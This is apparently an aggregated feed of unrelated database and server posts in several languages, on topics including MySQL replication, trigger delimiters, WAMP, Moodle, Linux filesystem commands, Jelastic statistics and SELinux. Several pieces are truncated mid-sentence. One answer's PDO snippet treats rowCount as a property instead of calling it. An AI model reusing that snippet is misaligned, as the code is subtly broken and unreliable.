正常情况下主库和从库之间通过网络建立连接,然后将binlog从主库传输到从库,接着从库将binlog作为一个Relay插入到数据库中。如果主从库都是在MySQL PaaS上,那么MySQL实际就没有打开Replication开关,此时从库会另起一个进程,从Azure Storage上读取主库的binlog,然后解析插入到数据库中。这种架构下支持基于副本的横向扩展,适用于读取压力较大,或读远大于写的业务,从属实例不受限制,不过一般5个足够了。

支持混合云的数据库同步

由于目前混合云的应用还是比较多的,所以我们也支持混合云的数据库同步。比如从本地同步数据到Azure上以满足Azure上的应用需要,或者应用平滑迁移到Azure。可以通过管理门户配置同步和查看同步状态。

新一代的架构框架技术 Stateless Services Pattern
云原生的MySQL托管服务架构及读写分离的优化

我们这里来回顾下基于云架构开发后台程序的两个Patter,首先是无状态模式。这个模式下存储和前端服务器可以很容易的弹性放缩,问题于中间的业务层,因为业务之间是相互依赖,且用户的数据代表某种状态,要访问这些状态就不可避免的引入排队机制、入锁机制等。面对这些问题常见的做法是使用蓄水池方法,将用户的请求放在queues中,降低无状态服务的复杂度同时还可以达到无线扩展队列的需求。

Stateful Services Pattern
云原生的MySQL托管服务架构及读写分离的优化

在实际的应用中其实大部分还是采用有状态模式,这种模式下依赖于有状态中间件,有状态中间件通过分区的方式解决高并发,在分区内使用传统方式保证数据一致性。这种情况下数据的传输过程相对较少,延迟得到了保障。

Traditional Application
云原生的MySQL托管服务架构及读写分离的优化

传统应用程序的API、UI、引擎等都是整合在一起,在编译的时候就能确定相互之间的依赖关系并能够方便的发现问题。不过由于所有的模块都被整合在一起,牵一发而动全身,所以在水平扩展服务能力的时候要付出相当大的代价。

Application composed of microservices
云原生的MySQL托管服务架构及读写分离的优化

不同于传统应用,微服务框架中所有的模块都是一个独立的进程,模块之间通过HTTP或者RPC等协议进行沟通。相当于应用中包含多个服务,服务之间通过标准协议调用,不过只有在运行时才能发现错误,而非编译的时候。由于是完全基于网络的框架,所以必须要考虑到网络延迟的问题。微服务所带来的好处在于能够很方便的升级,模块数据相对来说容易监控,模块升级也已经可持续。

Service Fabric
云原生的MySQL托管服务架构及读写分离的优化

Service Fabric是微软的微服务框架。该框架中有一个ApplicationType用来定义App类型,类似于编程中的class。App创建后的实例可以有不同的名字,可以通过不同的名字来管理同一个实例。它同时支持有状态和无状态两种服务。其中有状态服务可以声明式的支持多个分区,每个分区中实例可以创建多个副本,相当于通过分区提高高并发能力,通过副本提供高可用。在多个分区的情况下,每个有状态的服务本身就可以创建一个状态机,这个状态机可以复制到其他几点的副本中。由于副本的复制可配置,所以可以让对有状态数据的访问基于本地节点,以此来降低延迟。

Service Fabric的另一个特点是对集群上运行的所有任务的自动部署,比如原来有5个节点10个分区,这不同的应用分区在这5个节点上会被自动分配,当节点扩大的时候,整个任务又会重新分配。这些部分都是自动完成,因此不用程序去显示的关注。


云原生的MySQL托管服务架构及读写分离的优化

整个Service Fabric提供了一个更好的底层框架,能够实现高可用、可测试、可管理、可缩放。可测试指的是在服务升级的时候可以支持灰度发布,还可以设定某个条件判断升级版本是否有问题,一旦发现问题就会自动的回滚。可管理指的是基于内核级的检查和管理,当某个节点出现问题的时候,该节点上的运行的任务会在其他的节点上被自动的管理恢复。可缩放指的是增加节点的时候,整个任务会被重新分配。

SQL Azure Service architecture

SQL Azure架构中的SQL Server数据库被分解成很多的Service Fabric应用程序。物理集群被分成两部分,一部分作为控制管理的节点集群叫做Control Plane,它更多的做数据库的运维服务,另一部分用户的数据库任务运行在Data Plane上。他们之间有严格的安全发送机制,用来保证用户和数据库之间的运行环境。

Drawbridge

Drawbridge是微软应用的新的容器技术,它既有虚拟机技术的强隔离性,又具有容器技术的高计算密度。核心是传统的NT Process,有1200多个API,显然这么多API是很难做到严格意义上的绝对安全,因此后续进行了优化。首先是将NT kernel运行在用户态,第二是让用户态的操作系统和真正的操作系统之间只允许不超过15个系统调用。基于这两步NT上出现了一个特殊的进程Picoprocess,它从外部看就是一个空进程,唯一与它有交互的是一个很小的系统内核库。

SQL Server for linux也应用了Drawbridge技术,这样就可以将原先windows上的SQL Server通过SQLPAL层移植到Linux上。


          Asynchronous Replication from MySQL Cluster      Cache   Translate Page   Web Page Cache   

mysql Cluster is a highly available, distributed, shared-nothing database with very interesting performance characteristics for some workloads. Among other features, it supports automatic sharding and allows us to bypass the SQL layer if we don’t need it, via the NDB API (which in my eyes, makes it one of the few transactional nosql databases out there).

In this post, I’ll describe how we can set up replication from MySQL Cluster into a standalone MySQL server using Innodb as the storage engine.

Introduction

There are a few reasons to set up replication between MySQL Cluster and a non-NDB based MySQL server. These reasons include (but are not limited to): the need to use other storage engines for various parts of the workload, improved availability courtesy of geographical distribution, or (based on my recent experience), migrating away from MySQL Cluster to MySQL (Galera Cluster in my case, but the procedure is the same).

While the manual provides a lot of information on NDB asynchronous replication, it assumes the desired setup involves running NDB on both ends of the link.

In the next few paragraphs, I’ll describe the lab environment I used for my tests, go through the required configuration changes both on MySQL/NDB and MySQL/Innodb’s side, and then outline the steps required to get replication working.

Test environment

My test environment consists of a MySQL Cluster with2 data nodes, 2 sql nodes and one management node, and a standalone MySQL server, as described by this diagram:


Asynchronous Replication from MySQL Cluster

If you’d like to set up MySQL Cluster to try the commands shown in this post, but don’t have much experience with it, I recommend using the auto installer , or this vagrant environment. The latter offers something very close to what’s on the NDB side of that diagram, but with two management processes; each living in an sql node (so, 4VMs in total).

MySQL Cluster required configuration

MySQL Cluster uses its own synchronous replication system, independent of MySQL’s asynchronous one. This is implemented at the storage engine level, so MySQL is unaware of it.

Among other things, this means that the usual configuration options used by MySQL replication are not required for MySQL Cluster to work. On a MySQL Cluster, the sql nodes are normal mysqld processes that use the ndb storage engine to connect to ndb processes living (hopefully if it’s production) onother hosts. Before we can set up a standalone mysqld as a replica of MySQL Cluster, we need tochoose one sql node that will act as master, and set it upfor replication, by adding the following to its global my.cnf file’s [mysqld] section: binlog_format=ROW log-bin=binlog server_id=168150

As withany normal replication setup, server_id can be any valid value for that range, provided it is unique across the topology. In my situation, I chose sql1 for this task. The server id reflects part of its IP address, since it is typically unique across a replication topology (often because on a multi-DC setup you may have the same private network on different DCs. Itry not to do that).

This is a change that requires a mysqld service restart on the affected sql node. Since this is MySQL Cluster, we can make the restart with no impact by simply removing this node from rotation.

Additionally, we will need to create a replication user, which we can do byexecuting the following statements:

CREATE USER 'replica'@'10.0.2.15' IDENTIFIED BY 'examplepassword'; GRANT REPLICATION SLAVE ON *.* TO 'replica'@'10.0.2.15';

MySQL required configuration The standalone mysqldinstance also needs to be configured for replication, by adding the following to its global my.cnf’s file [mysqld] section: server_id=100215 log-bin=binlog binlog_format=ROW

MySQL also needs to be restarted here for this change to take effect.

Getting data out of MySQL Cluster

We will create a logical backup of the data with mysqldump:

mysqldump --master-data=1 example > example.sql

The master-data option set to 1willinclude a CHANGE MASTER TO command on the resulting dump, so that we can START SLAVE when the load completes, andstart replicating off the server where we generated the dump (sql1 in this case). I am including the database name explicitly,insteadof using all-databases , to not get the mysql schema in the backup. You can backup multiple databases by using databases if needed. Additionally, I am not using single-transaction because NDB only supports the READ COMMITTED isolation level, and only on a per-row level, so this mysqldump option is not really supported for MySQL Cluster.

Getting data intoMySQL

We will now load the logical backup into MySQL:

mysql -e 'change master to master_host="192.168.1.50";create database example' mysql < example.sql example

Besides loading the data, this will also run a CHANGE MASTER to command and set the right replication coordinates, thanks to the master-data file.For example, here is the command generated in my test backup:

CHANGE MASTER TO MASTER_LOG_FILE='binlog.000001', MASTER_LOG_POS=154;

Since it does not include a host specification, the previously set master_host will be used, which is the one we set with the ‘change master to’ command we ran right before creating the database and loading the data.

A Short Detour: How Does This Work?

A few readers will likely have noticed that, on MySQL Cluster’s side, we enabled binary logging on sql1. What then happens to writes made on sql2?

To understand what happens, we must remember that NDB handles its own replication, on a separate layer (and actually separate system processes) from MySQL’s. In order to get NDB writes into the binary log, regardless of the originating node, MySQL Cluster uses the following auxiliary tables on the mysql schema: ndb_apply_status and ndb_binlog_index. On my installation using MySQL Community 5.7.17 as target version, only the ndb_binlog_index was present, so I had to manually create the ndb_apply_status table. The manual recommends verifying that the tables exist as a prerequisite to setting up asynchronous replication in MySQL Cluster.

To create it, I took the structure from sql1, and then ran the following on the target host:

mysql> use mysql Database changed mysql> CREATE TABLE `ndb_apply_status` ( -> `server_id` int(10) unsigned NOT NULL, -> `epoch` bi
          Syntax error in create trigger&comma; what's wrong&quest;      Cache   Translate Page   Web Page Cache   

can somebody tell me what is wrong with the syntax of my code please? (this is the exact and only code I'm highlighting and running so line numbers should match up)

CREATE TRIGGER `trg_part_upd` AFTER UPDATE ON `tbl_sub_model_eng_trans_part` FOR EACH ROW if NEW.engine_sk = 0 and NEW.trans_sk = 0 then UPDATE tbl_sub_model tsm INNER JOIN tbl_fct_sub_eng_trans tfset ON tsm.sub_model_sk = tfset.sub_model_sk INNER JOIN tbl_sub_model_eng_trans_part tsmetp ON tfset.trans_sk = tsmetp.trans_sk SET tsm.last_modified_date = NOW() WHERE tsmetp.sub_model_sk=NEW.sub_model_sk; end if;

I get these two errors:

Error Code: 1064. You have an error in your SQL syntax; check the manual that corresponds to your mysql server version for the right syntax to use near '' at line 9

Error Code: 1064. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'end if' at line 1

You forgot to change the delimiter, so MySQL thinks your first statement is this:

CREATE TRIGGER `trg_part_upd` AFTER UPDATE ON `tbl_sub_model_eng_trans_part` FOR EACH ROW if NEW.engine_sk = 0 and NEW.trans_sk = 0 then UPDATE tbl_sub_model tsm INNER JOIN tbl_fct_sub_eng_trans tfset ON tsm.sub_model_sk = tfset.sub_model_sk INNER JOIN tbl_sub_model_eng_trans_part tsmetp ON tfset.trans_sk = tsmetp.trans_sk SET tsm.last_modified_date = NOW() WHERE tsmetp.sub_model_sk=NEW.sub_model_sk;

Just add this before the code:

DELIMITER $$

... and this afterwards:

$$

... so MySQL can recognize the complete trigger as a single statement.

You can change $$ for your own choice.

Official docs give details on this in the Defining Stored Programs section.


          Unable to access localhost or phpMyAdmin with WAMP      Cache   Translate Page   Web Page Cache   

I'm running Apache v2.2.21, php v5.38, and mysql v5.5.16. The WAMP icon is green.

As the post title says, I can't access either localhost or phpMyAdmin from the WAMP systray icon menu, nor can I by typing http://127.0.0.1/index.php in a browser.

Clicking on either localhost or phpMyAdmin gives me the error message "Unable to connect - Firefox can't establish a connection to the server at 127.0.0.1."

I do have Skype and I know there are issues with Skype and WAMP port conflicts, so I quit Skype, and tried it, but got the same results.

At first the WAMP icon was always orange, but some searching here revealed that changing the listening port to 8080 (the default is 80) in httpd.conf. That got the orange icon to go green.

Fixed it.

The last paragraph in my post was the key: I went into Skype and unchecked the "Use port 80 and 443 as alternatives for incoming connections." Then I went back into the httpd.conf file and changed "Listen 8080" back to the original "Listen 80".

Now both Skype and WAMP work properly.


          What are mySQL stored procedures&quest;      Cache   Translate Page   Web Page Cache   

This not a go/no go question. I've used all kinds of 4GLs (PL/SQL, T-SQL, PGSQL etc.) for database back-end coding and find very useful to establish data layer "closest" to database engine.

Now mysql stored procedures got my attention and very interested in coding in this brand new 4GL platform.

I would like to start using it in one of my proof of concept projects. What you folks think about MySQL stored procedures? Crucial question is; Is it reliable? How "Oracle Corporation" supports MySQL stored procedures (i.e. documentation, forums etc.)?

Thanks

Support started in v5.0, it's currently in v5.1 (v5.5 is in the pipe). If they weren't reliable, they'd have been removed.

I don't know what you mean by "how Oracle supports it" - the syntax is different, rarely (if ever) will you be able to port an Oracle stored procedure directly to MySQL without alteration.


          Mysql&lowbar;num&lowbar;rows &lpar;&rpar; Input Validati ...      Cache   Translate Page   Web Page Cache   

I am inserting some values into a mysql database, and before I insert I want to check if one of the input fields has a value that is already in the database before I allow the insert.

When I run the script I get this error:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource

and the error points back to this line in my php:

if(mysql_num_rows($result) > 0)

Here is the PHP:

$qry = "SELECT * FROM videos WHERE tape_no='$tape_no'"; $result = $dbLink->query($qry) or die (mysql_error()); if($result) { if(mysql_num_rows($result) > 0) { echo '<html>'; echo '<head>'; echo '<link href="/module.css#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000" rel="stylesheet type="text/css" />'; echo '</head>'; echo '<body>'; echo '<h1>Error</h1>'; echo '<h3>The Tape Number That You Have Entered is a Duplicate, Please Choose Another Tape Number</h3>'; echo '<FORM><INPUT TYPE="BUTTON" class="bluebutton" VALUE="Go Back" ONCLICK="history.go(-1)"></FORM>'; echo '</body>'; echo '</html>'; } @mysql_free_result($result); }

Does the column that I am referencing need to be of a certain data type (ie. Integer) ? Will a varchar column type work here?

Introduction

PHP ships with two distinct MySQL-specific API extensions:

MySQL , supporting procedural style only ( mysql_query() );

MySQLi , supporting OO style ( mysqli::query() ) and procedural style ( mysqli_query() );

There are also vendor-nonspecific abstraction layers, such as PDO .

Your problem Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource

Well, it's not one.

if(mysql_num_rows($result) > 0)

expects that $result is a result resource as obtained through the MySQL series of functions.

However, in your code, it's most likely a result from some other extension. Unless you've written some leaky abstraction layer, you're mixing two different extensions!

(You're going to have the same problem with mysql_free_result($result) . Read the documentation for whichever extension you're using.)

Your solution

If using MySQLi, try:

if ($result->num_rows > 0)

If using PDO, try:

if ($result->rowCount > 0)

mi recomendación es que actualices a php7, php5 tiene algunas debilidades que ya fueron corregidas en la versión 7.

y actualice su acceso a mysql usando PDO, es mas seguro.

yo también estuve en php4 y fue un lio hacer el cambio de controlador de MySql a php5, así que lo que hice fue crear un objeto que me ayudara a controlar la conexión a mysql, así que cuando cambie a php7 y de mysqli a PDO fue mucho mas fácil ya que todo se con...

          goPanel 2.0.3 - Manage Web servers. (Shareware)      Cache   Translate Page   Web Page Cache   

goPanel is an incredibly intuitive OS X app for the management of web servers, an alternative to existing control-panel apps you install on Unix-based servers for web hosting. Easy-to-install and configure Apache or Nginx webserver, PHP, MySQL, FTP, domains, free SSL certs and emails on your server. goPanel lets you easily connect and manage unlimited Linux servers.

Features
  • Add and manage unlimited servers (VPS or dedicated)
  • Install, configure and manage: Apache or Nginx, PHP, FTP (Pure-FTPd), MySQL or MariaDB, Mail Server to get each of your servers ready to host domains
  • PHP and Apache on/off from selection of modules
  • Unlimited MySQL/MariaDB users and databases, domains, ftp accounts and emails
  • Unlimited free SSL** certs issued by Let’s Encrypt certificate authority
  • Fail2Ban intrusion prevention software Install and Configure
  • Setup scheduled cron jobs
  • Setup backup for your files or databases
  • View server logs and block IP's
  • Rollback up to 50 earlier versions of your config files in case you need to
  • System updates - keep your linux server up to date
  • 3rd-party scripts:
    • WP-CLI + One-click Wordpress installer
    • Composer (application-level package manager)
    • PHPMyAdmin(database manager)
    • Webmailer (roundcube)

goPanel works perfect with Amazon instances and Digital Ocean droplets as long as you use a Linux distribution we support. Make sure your Linux server does not have any of the services installed and you install all services from the goPanel app: migration from servers with existing services is not yet possible.



Version 2.0.3:
  • Support for Raspbian
  • Support for CentOS 6.10
  • Small fixes


  • OS X 10.10 or later

Hello!<br /> <br /> I did everything in documentation states i needed to do, but cant get rid of this one error.<br /> <br /> So first of all. Im using the newest MySQL server (8.0 smth) on Windows Server 2016. <br /> Then IIS web server that is on Windows Server 2008 R2<br /> <br /> As our application cant run on newest PHP, Im using 5.5.38 version.<br /> <br /> 1. I put mantis 2.16 version files and then old cofig_inc.php in configuration map. <br /> 2. Import the .sql dump of the production DB into new MySQL server.<br /> 3. Run from that 2.16 version folder admin/install.php on web. Everything checks out.<br /> 4. installing ends with this error: "Database query failed. Error received from database was #1054: Unknown column 'priority' in 'field list' for the query: SELECT basename, priority, protected FROM mantis_plugin_table WHERE enabled=? ORDER BY priority DESC."<br /> <br /> Did some checking and:<br /> 1. Created empty scheme and installed it on that scheme as clean mantis installation. Everything was ok. <br /> 2. On that clean instalation mantis_plugin_table is with all columns. "basename, enabled, priority, field list"<br /> 3. Comparing it to upgraded scheme, it has only "basename" and "enabled" columns. <br /> 4. Removed that table and created it as from the "fresh installation" scheme. But still the error shows up. I have searched forums on every possible thing and nothing has helped. And yes i tried to upgrade to 1.3 or 2.15 and same thing happened. I don't get why it cant query sql showing it lacks those columns, but in scheme they are there.

โครงการนี้เป็นโครงการย่อยของ Spring Cloud ที่มีเป้าหมายเพื่อผลักดันการใช้ Spring บนคลาวด์ ก่อนหน้านี้โครงการ Spring Cloud มีตัวเชื่อมกับ AWS อยู่แล้ว ฝั่งกูเกิลจึงออกเวอร์ชัน GCP ที่มีลักษณะเดียวกันออกมา

การใช้งาน Spring Cloud GCP ช่วยให้แอพพลิเคชัน Spring เรียกใช้บริการต่างๆ บน GCP ได้สะดวกขึ้น เช่น เชื่อมต่อ Spring JDBC กับฐานข้อมูล Cloud SQL MySQL เป็นต้น เบื้องต้นในเวอร์ชัน 1.0 บริการที่เชื่อมต่อยังไม่หลากหลาย แต่กูเกิลก็สัญญาว่าจะเพิ่มเติมบริการให้อีกในเวอร์ชันถัดไป

          Can not initialise PHP session, please verify that your browser accepts cookies.      Cache   Translate Page   Web Page Cache   
by Robert Montano.  

Hi Guys,

I know that this error had been discussed before. But I could find a concrete solution so I have opened another thread. Hoping that I could help the devs on trying to find a solution for future admins that would encounter the same problem.

August 1 2018, when I tried to install our Moodle 3.5.1+ system into a newly formatted RHEL 7.5 server. After all the configurations, I was ready to go to the Web Installation interface. All prerequisites where marked check except for the HTTPS (not configured yet which is still okay). When I clicked 'Continue', it went on to the installation as normally until just exactly right before the input of the Administrator User Info page. This is the error that I got...

=================

Error

=================

Can not initialise PHP session, please verify that your browser accepts cookies.

More information about this error

=================

<see image attached>

There is a 'Continue' button but it only loops back into the same page.


I was using Goodle Chrome (as shown in the image attached) when I got this error. I tried to continue the installation with Firefox but it also gives me the same error. I got stucked on the installation for almost a whole day looking for solution and figuring out what could be wrong?

The issue seems to be pointing to the browsers ability to handle cookies. But just a week ago I installed my backup Moodle server on another Ubuntu 18.04 system with the using same browsers and had no issues at all.

Funny, my college asked me if I could try it in IE (Internet Explorer) and see what happens. Nothing to lose so I tried it and it gave me the page to input the Administrator user info. But obviously the password can't be encoded in IE (so can't continue). I got an idea to try another browser so I installed Opera. Opera went fine and continued to finish my Moodle installation.

Just right after the installation was completed in the Opera browser. I tried to open the same website on both Firefox and Chrome and both worked perfectly fine this time.


What could be wrong with the installation on both Firefox and Chrome on the handling of cookies that IE and Opera doesn't have.

I don't think it's an issue with the 2 most commonly used browsers. My observation we might have missed (overlooked) something in our installation files? What do your guys think?


I just hope this could shed some light for the Devs in trying to fix the issue and a workaround for those who will get stock, just as I had.

          Linux查看分区文件系统类型总结      Cache   Translate Page   Web Page Cache   

linux 中如何查看分区的文件系统类型,下面总结几种查看分区文件系统类型的方法。

1: df -T 命令查看

这个是最简单的命令,文件系统类型在Type列输出。只可以查看已经挂载的分区和文件系统类型。如下所示:

[root@mylnx008 ~]# df -T /dev/sdb Filesystem Type 1K-blocks Used Available Use% Mounted on /dev/sdb xfs 315467264 4356404 311110860 2% /mysql [root@mylnx008 ~]# df -T Filesystem Type 1K-blocks Used Available Use% Mounted on /dev/sda2 xfs 30929148 22455300 8473848 73% / devtmpfs devtmpfs 1746644 0 1746644 0% /dev tmpfs tmpfs 1757220 0 1757220 0% /dev/shm tmpfs tmpfs 1757220 24868 1732352 2% /run tmpfs tmpfs 1757220 0 1757220 0% /sys/fs/cgroup /dev/sda1 xfs 508580 63024 445556 13% /boot /dev/sdc1 ext4 139203080 8699072 123409840 7% /mnt/resource tmpfs tmpfs 351448 0 351448 0% /run/user/1000 /dev/sdb xfs 315467264 4356404 311110860 2% /mysql

2:parted -l命令查看

如下所示,parted -l 命令会输出文件系统类型(File system), 其中参数l表示列出所有设备的分区信息。

[root@DB-Server ~]# parted -l Model: ATA ST500DM002-1BD14 (scsi) Disk /dev/sda: 500GB Sector size (logical/physical): 512B/512B Partition Table: msdos Number Start End Size Type File system Flags 1 32.3kB 107MB 107MB primary ext3 boot 2 107MB 500GB 500GB primary lvm
Linux查看分区文件系统类型总结

3:blkid命令查看

查看已格式化分区的UUID和文件系统。使用blkid可以输出分区或分区的文件系统类型,查看TYPE字段输出。

[root@DB-Server ~]# blkid /dev/mapper/VolGroup00-LogVol01: TYPE="swap" /dev/mapper/VolGroup00-LogVol00: UUID="1c0d5470-1503-4a18-b184-53483466d948" TYPE="ext3" /dev/sda1: LABEL="/boot" UUID="582b189c-396c-4da8-a7a3-1effaa3e4000" TYPE="ext3" /dev/VolGroup00/LogVol00: UUID="1c0d5470-1503-4a18-b184-53483466d948" TYPE="ext3" /dev/VolGroup00/LogVol01: TYPE="swap" /dev/mapper/VolGroup00-LogVol03: UUID="f037ba1e-77a1-439a-8a10-b78c3cca68ec" SEC_TYPE="ext2" TYPE="ext3" [root@DB-Server ~]# blkid /dev/sda1 /dev/sda1: LABEL="/boot" UUID="582b189c-396c-4da8-a7a3-1effaa3e4000" TYPE="ext3"
Linux查看分区文件系统类型总结

4:命令lsblk -f 查看

有些系统可能没有这个命令,需要安装。注意:lsblk -f也可以查看未挂载的文件系统类型

[root@mylnx008 ~]# lsblk -f NAME FSTYPE LABEL UUID MOUNTPOINT fd0 sda ├─sda1 xfs b98659b2-5f8c-493e-9304-658905ef1391 /boot └─sda2 xfs b7559ac5-b3a4-4b00-b98a-a2a2611806d0 / sdb xfs 6fcc5417-3c1b-4c71-aac7-344bac7654a4 /mysql sdc └─sdc1 ext4 1ad7da45-2366-4c4f-acd4-484600c4153a /mnt/resource
Linux查看分区文件系统类型总结

          Flipping Sides in SQL Operations Studio      Cache   Translate Page   Web Page Cache   

I’ve been starting to use SQL Operations Studio (SOS) a bit more. This is a small, lightweight editor that is based on Visual Studio Code. It’s fairly limited, though it’s still in preview. You can download it and give it a try.

One of the things that I like is a consistent UI when writing code. I often hide the OE in SSMS, but I don’t want code moving left and right when I’m working with it. That can be a little jarring.

When working in SOS, I usually start with a query, and no blades (panes?) open. My workspace looks like this.

2018-07-09 20_02_47-? SQLQuery1 - SQL Operations Studio

If I need to commit to version control, I’ll click that button, but then my code moves. (I’m really not committing this query. It’s just an example.

2018-07-09 20_04_12-SQLQuery1.sql - SQL Operations Studio

The process is just a little distracting to me, especially if I make the pane wider to more easily see the Object Explorer or file list. I didn’t like this in Visual Studio Code when writing PoSh or Python, and I don’t like it here.

Switching Sides

Someone on Twitter posted a couple neat tricks, one of which was moving the panes to the right side. I know some panes in SOS, like the connection one, are always over there, but you can move the main panes.

I’m surprised I didn’t see it, but I really never even thought about this being an option. I was just annoyed.  If I’d looked in the View menu, I’d see “Move side bar right”. If I do that, I get this.

2018-07-09 20_10_49-SQLQuery1.sql - SQL Operations Studio

I could also fine this in the command palette

2018-07-09 20_11_25-SQLQuery1.sql - SQL Operations StudioThe other cool trick doesn’t do much in SOS yet, but it works in Visual Studio Code. I’ll show it there.

If I create a new file, VSCode doesn’t know what I’m doing. About half the time I’m writing Python, but I don’t get any of the intellisense or other features unless I save the file and give it a type.

The other option, is to click the language name in the lower right corner. In the image, I’ve clicked the “PowerShell” and this opens a list of languages. Type “py” and get Python.

2018-07-09 20_13_17-Untitled-1 - Visual Studio Code

Cool tricks. I expect that over time SOS will have more than just the “mssql” is has now. I’d expect MySQL, PL/SQL, and more.

          Software Stacks Statistics: Preferences of Jelastic PaaS Users in Q2 2018      Cache   Translate Page   Web Page Cache   

Modern technologies do not stand still, they’re constantly evolving. We analyzed the current statistics of engines, application servers, databases and plug-ins under a magnifying glass, revealing which stacks are the most rated and more actively used. Let’s get acquainted with the detailed report based on the choice of Jelastic PaaS users.

Engines Jelastic cloud platform provides support of Java, php, Ruby, Node.js, python, .NET and Go. According to the statistics, the customers choose mainly two leading programming languages. The latest research shows that PHP shoots ahead with 58.3%, and Java has 33.1% of customers choice. The rest programming languages get much less distribution (8,6% in total) but the situation can change.
Software Stacks Statistics: Preferences of Jelastic PaaS Users in Q2 2018
The statistical data that was gathered on the geographical spread of the engines, showed that customers from the Asia Pacific (APAC) mostly use Java for their applications. On the other hand, users in Europe, Middle East and Africa (EMEA), as well as Latin America (LATAM), give their main priority to PHP, and in Northern America (NA), the percentage is approximately the same. It is noteworthy that Node.js is used approximately equally in all regions, while Ruby is more popular in Latin America.
Software Stacks Statistics: Preferences of Jelastic PaaS Users in Q2 2018
PHP Versions PHP is considered one of the easiest to use server-side scripting languages. Most of the Jelastic PHP users are running their projects on v7.1 (24.8%) and v5.6 (22.7%). Versions 7.0 and 5.4 have also high rates, 17.4%, and 15.6% respectively.
Software Stacks Statistics: Preferences of Jelastic PaaS Users in Q2 2018
JDK Versions

Java enables the development of secure, highly performed, and robust applications in heterogeneous, distributed networks. So that is why it’s one of the most widely used programming languages among enterprise projects.

On the graphic below you can see that the majority of Java environments in Jelastic PaaS were created with Java 8 (67.7%) and Java 7 (22.7%). Java 10 that was just recently released, already gained 1.8% and actively growing.
Software Stacks Statistics: Preferences of Jelastic PaaS Users in Q2 2018
PHP vs Java Geo-Distribution Comparing PHP and Java, we can see that Asia Pacific countries commonly use Java. Northern America almost equally likes both of them. While others (EMEA, LATAM) prefer PHP programming language.
Software Stacks Statistics: Preferences of Jelastic PaaS Users in Q2 2018
Application Servers Taking into account that PHP and Java are the leading programming languages, that’s not a surprise that Apache and Tomcat are the most demanded among other application servers. 46.5% of users installed Apache PHP for running their environments, and 27.3% chose Tomcat hosting. NGINX attracted 13% of customers. And the rest of the servers (Node.js, GlassFish , WildFly , SpringBoot , NGINX Ruby, TomEE, Jetty, SmartFox Server, IIS, Apache Ruby, JBoss, Goland, and Raptor) got 3.2% in total.
Software Stacks Statistics: Preferences of Jelastic PaaS Users in Q2 2018
The geographical situation with the servers spread is similar to the engine usage: Tomcat is widely spread in North America, LATAM, and the Asia Pacific, while Apache is mostly popular in EMEA and LATAM countries.
Software Stacks Statistics: Preferences of Jelastic PaaS Users in Q2 2018
Databases

Let’s find out the database servers usage. From the chart below, you can see that mysql got the 1st place with 55,4% of installations, moreover, the number is growing, especially considering an easy way to install it with already pre-configured replication .

MariaDB (20.8%) and PostgreSQL (14.4%) hold respectively the second and the third places. The fourth goes to MongoDB with 4.5%, while the rest database servers (Redis, Percona, Microsoft SQL, CouchDB, OrientDB, Neo4j) share the remnant of user’s favor.
Software Stacks Statistics: Preferences of Jelastic PaaS Users in Q2 2018
Considering the distribution by regions, we can highlight that MySQL is popular in all parts of the world, especially in North America. MariaDB is in the tops in EMEA and keeps wide-spreading. PostgreSQL is more or less evenly distributed with the highest results in APAC.
Software Stacks Statistics: Preferences of Jelastic PaaS Users in Q2 2018
Integrated Development Environments (IDE)

IDEs are used by development teams to build new software, applications, and services in a convenient way. Analyzing our statistics, we can differ three mostly used IDEs that are integrated to the Jelastic PaaS, and can be installed easily:

NetBeans Eclipse IntelliJ IDEA As it can be viewed in a picture below, more than a half of our clients (50.5%) prefer to build their projects in NetBeans, a bit less than a third part (22.6%) write their code in IDEA, and the rest (26.9%) choose Eclipse.
Software Stacks Statistics: Preferences of Jelastic PaaS Users in Q2 2018
Top Applications Installed in One Click

Jelastic provides a marketplace of ready-to-go applications, clusters, and add-ons built with own packaging standard. Such pre-configured solutions are automatically installed and require minimal to no involvement in the further management and support.

Here are top 10 applications and add-ons which became most favored by Jelastic users:

          Drupal core: Functional tests don't use SIMPLETEST_DB environmental variable as expected      Cache   Translate Page   Web Page Cache   

Problem/Motivation

The site-under-test will use the database settings in settings.php and not those from the SIMPLETEST_DB. This is a major bug because you think you are testing against one database and in reality your testing against another. If you have no existing settings.php the correct database is used - which is fortunate because that's how DrupalCI is working.

Steps to reproduce:

  1. Install Drupal using a MySQL database
  2. Run SIMPLETEST_DB="pgsql://username:password@127.0.0.1/drupal8alt" sudo -u _www ./vendor/bin/phpunit -v -c core core/modules/system/tests/src/Functional/System/StatusTest.php --filter testStatusPage ensuring that browser output is set up correctly
  3. View last browser output page generated by the test - you will see the site status report and the DB Driver will be MySQL.

Delete your settings.php and repeats steps to reproduce and you'll see that Postgres is now being used!??!?!?

Many of our customers are required to meet a variety of regulatory requirements. Red Hat Enterprise Linux includes security technologies that help meet these requirements. Improving Linux security also benefits our layered products, such as Red Hat OpenShift Container Platform and Red Hat OpenStackⓇ Platform.

In this blog post, we use PCI-DSS to highlight some of the benefits of SELinux. Though there are many other security standards that affect our customers, we selected PCI-DSS based on a review of customer support cases, feedback, and general inquiries we received. The items we selected from this standard are also accepted industry practices, such as:

  • Limiting user access to data based on job roles.
  • Limiting access to system components.
  • Configuring software behavior, functions, and access.

What is SELinux?

SELinux is an advanced access control mechanism originally created by the United States National Security Agency. It was released under an open source license in 2000, and integrated into the Linux kernel in 2003. As part of the Linux kernel, it is built into the core of Red Hat Enterprise Linux. SELinux works by layering additional access controls on top of the traditional discretionary access controls that have been the basis of UNIX and Linux security for decades. SELinux access controls provide both increased granularity as well as a single security policy that is applied across the entire system and enforced by the RHEL kernel. SELinux enforces the security policy on applications bundled with Red Hat Enterprise Linux as well as any custom, third-party, and independent software vendor (ISV) applications. In addition to applications on the host system, SELinux access controls provide separation and controlled sharing between RHEL-hosted virtual machines and containers.

SELinux’s access controls are driven by a configurable security policy, which is loaded into the kernel at boot. The SELinux security policy functions as a whitelist for user and application behavior. The policy allows administrators and policy developers to isolate applications into specific SELinux domains that are tailored to the application’s permitted behaviors. Access to files, local interprocess communications (IPC) mechanisms, the network, and various other system resources can all be restricted on a per-domain basis. SELinux also allows the administrator to put individual SELinux domains, as well as the entire system, into permissive mode where SELinux-based access denials are logged, but the access is still permitted. This eases policy development and troubleshooting.

